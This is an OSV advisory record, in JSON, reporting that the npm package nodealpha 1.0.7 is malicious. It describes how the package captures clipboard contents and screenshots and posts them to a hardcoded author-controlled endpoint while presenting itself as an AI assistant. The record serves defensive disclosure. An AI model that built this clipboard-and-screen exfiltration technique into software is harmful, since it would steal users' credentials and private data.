{"id":"MAL-2026-14270","revision":"b5d4a7e752db40a698bb081a75cfa7e7","records":[{"revision":"b5d4a7e752db40a698bb081a75cfa7e7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-14270","aliases":[],"title":"Malicious code in nodealpha (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (423876c4051bc91d09f39b56a198d2dfead5c9a7d7e169337e32edfd1035e31e)\nThe package installs a global keyboard hook (keyboard.add_hotkey on ctrl+c), polls the system clipboard every 300ms via pyperclip.paste(), and captures full-screen screenshots via ImageGrab.grab(). The captured clipboard text and base64-encoded JPEG screenshots are POSTed to a hardcoded endpoint at https://nodetk.vercel.app/api (API_URL constant, session.post(API_URL, json={'image': img_data,...})). The destination is not caller-configurable; any user of the advertised 'AI assistant' functionality unavoidably ships their clipboard contents and screen captures through the author-controlled Vercel deployment. Clipboard and screen contents commonly include credentials, session tokens, private messages, and other sensitive material, so this constitutes an installer-side data exfiltration channel disguised as an assistant feature.\n","state":0,"publishedAt":"2026-08-19T07:18:57+00:00","modifiedAt":"2026-08-19T07:30:12.1019611+00:00","affected":[{"ecosystem":"npm","name":"nodealpha","ranges":[],"versions":["1.0.7"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/nodealpha/v/1.0.7"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-14270","license":"OSV · upstream source license applies","key":"osv:MAL-2026-14270","identifiers":["MAL-2026-14270"]},"retained":false,"historicalAffected":[]}],"coverage":[]}